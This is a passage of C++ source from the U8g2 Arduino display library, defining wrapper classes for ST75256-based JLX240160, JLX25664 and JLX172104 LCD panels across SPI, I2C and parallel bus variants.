uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_1_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX240160_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX240160_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX240160_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX240160_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX240160_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX240160_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_2_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX240160_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_2_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX240160_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX240160_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX240160_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX240160_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX240160_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX240160_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_F_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX240160_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_F_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX240160_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx240160_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_1_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX240160_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx240160_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_1_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX240160_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx240160_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX240160_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX240160_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx240160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_2_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX240160_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx240160_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_2_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX240160_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx240160_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX240160_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX240160_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx240160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_F_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX240160_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx240160_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX240160_F_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX240160_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx240160_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX240160_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX240160_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx240160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX25664_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX25664_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX25664_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX25664_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX25664_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_1_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX25664_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_1_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX25664_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX25664_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX25664_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX25664_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX25664_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX25664_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_2_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX25664_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_2_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX25664_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX25664_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX25664_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX25664_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX25664_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX25664_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_F_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX25664_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_F_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX25664_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx25664_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_1_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX25664_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx25664_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_1_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX25664_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx25664_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX25664_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX25664_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx25664_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_2_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX25664_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx25664_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_2_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX25664_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx25664_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX25664_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX25664_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx25664_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_F_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX25664_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx25664_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX25664_F_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX25664_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx25664_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75256_JLX25664_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX25664_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx25664_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX172104_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX172104_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx172104_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, 